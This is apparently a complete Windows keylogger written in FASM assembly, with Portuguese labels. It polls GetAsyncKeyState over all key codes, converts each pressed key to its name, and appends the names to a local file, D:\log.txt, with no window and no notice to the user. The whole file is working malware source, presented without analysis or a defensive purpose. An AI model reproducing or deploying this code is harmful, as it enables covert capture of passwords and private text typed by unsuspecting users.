format PE GUI 5.0
entry start

include 'D:\fasmw\INCLUDE\win32a.inc'

log db "D:\log.txt",0
buffer db 0x100 dup (?)
bytes_escritos dd 0


start:
mov esi,7
invoke Sleep,1
jmp gogo

gogo:
cmp esi,255
je start

inc esi
invoke GetAsyncKeyState,esi
cmp eax,0
jnz logar
jmp gogo

logar:
invoke MapVirtualKey,esi,0
shl eax,16
invoke GetKeyNameText,eax,buffer,0x100


invoke  CreateFile, log, GENERIC_WRITE, 0,  NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL
cmp eax,0
je exit



mov ebx,eax

invoke SetFilePointer,ebx,0,0,FILE_END

invoke lstrlen,buffer
invoke WriteFile,ebx,buffer,eax,bytes_escritos,NULL
invoke Sleep,100
invoke CloseHandle,ebx
jmp gogo

exit:

invoke ExitProcess,0




data import

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'

  import kernel,\
       Sleep,'Sleep',\
       CreateFile,'CreateFileA',\
       WriteFile,'WriteFile',\
       SetFilePointer,'SetFilePointer',\
       CloseHandle,'CloseHandle',\
       lstrlen,'lstrlenA',\
       ExitProcess,'ExitProcess'

  import user,\
         GetAsyncKeyState, 'GetAsyncKeyState',\
         MapVirtualKey,'MapVirtualKeyA',\
         GetKeyNameText,'GetKeyNameTextA'

end data